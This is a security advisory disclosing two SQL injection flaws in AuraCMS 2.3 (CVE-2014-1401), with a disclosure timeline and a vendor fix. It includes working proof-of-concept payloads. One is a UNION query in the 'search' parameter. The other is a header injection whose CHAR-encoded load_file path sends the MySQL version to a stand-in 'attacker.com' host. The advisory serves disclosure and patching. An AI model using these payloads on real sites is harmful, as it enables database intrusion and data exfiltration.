Advisory ID: HTB23196
Product: AuraCMS
Vendor: AuraCMS
Vulnerable Version(s): 2.3 and probably prior
Tested Version: 2.3
Advisory Publication: January 8, 2014 [without technical details]
Vendor Notification: January 8, 2014=20
Vendor Patch: January 30, 2014=20
Public Disclosure: February 5, 2014=20
Vulnerability Type: SQL Injection [CWE-89]
CVE Reference: CVE-2014-1401
Risk Level: Medium=20
CVSSv2 Base Score: 6.5 (AV:N/AC:L/Au:S/C:P/I:P/A:P)
Solution Status: Fixed by Vendor
Discovered and Provided: High-Tech Bridge Security Research Lab ( https://w=
ww.htbridge.com/advisory/ )=20
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Advisory Details:
High-Tech Bridge Security Research Lab discovered two SQL injection vulnera=
bilities in AuraCMS, which can be exploited to alter SQL queries and execut=
e arbitrary SQL commands in application's database.
1) Multiple SQL Injection Vulnerabilities in AuraCMS: CVE-2014-1401
1.1 The vulnerability exists due to insufficient validation of "search" HTT=
P GET parameter passed to "/index.php" script. A remote authenticated attac=
ker can execute arbitrary SQL commands in application's database.
The exploitation example below displays version of MySQL server:
http://[host]/index.php?mod=3Dcontent&action=3Dsearch&search=3D1%27%29%2f**=
%2funion%2f**%2fselect%201,version%28%29,3,4,5,6,7,8,9,10,11,12,13,14,15%20=
--%202
1.2 The vulnerability exists due to insufficient validation of "CLIENT_IP",=
"X_FORWARDED_FOR", "X_FORWARDED", "FORWARDED_FOR", "FORWARDED" HTTP header=
s in "/index.php" script. A remote authenticated attacker can execute arbit=
rary SQL commands in application's database.
The exploitation example below displays version of MySQL server:
GET / HTTP/1.1
CLIENT_IP: '),('',(select load_file(CONCAT(CHAR(92),CHAR(92),(select versio=
n()),CHAR(46),CHAR(97),CHAR(116),CHAR(116),CHAR(97),CHAR(99),CHAR(107),CHAR=
(101),CHAR(114),CHAR(46),CHAR(99),CHAR(111),CHAR(109),CHAR(92),CHAR(102),CH=
AR(111),CHAR(111),CHAR(98),CHAR(97),CHAR(114))))) -- 2
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Solution:
Fixed by vendor on January 30, 2014 directly in the source code without ver=
sion modification/new release. Update to the version 2.3 released after Jan=
uary 30, 2014.
More Information:
https://github.com/auracms/AuraCMS/commit/4fe9d0d31a32df392f4d6ced8e5c25ed4=
af19ade
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References:
[1] High-Tech Bridge Advisory HTB23196 - https://www.htbridge.com/advisory/=
HTB23196 - Multiple SQL Injection Vulnerabilities in AuraCMS.
[2] AuraCMS - http://auracms.org - AuraCMS is an open source software that =
will let you manage content of your website.
[3] Common Vulnerabilities and Exposures (CVE) - http://cve.mitre.org/ - in=
ternational in scope and free for public use, CVE=C2=AE is a dictionary of =
publicly known information security vulnerabilities and exposures.
[4] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to =
developers and security practitioners, CWE is a formal list of software wea=
kness types.
[5] ImmuniWeb=C2=AE - http://www.htbridge.com/immuniweb/ - is High-Tech Bri=
dge's proprietary web application security assessment solution with SaaS de=
livery model that combines manual and automated vulnerability testing.
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on of the Advisory is available on web page [1] in the References.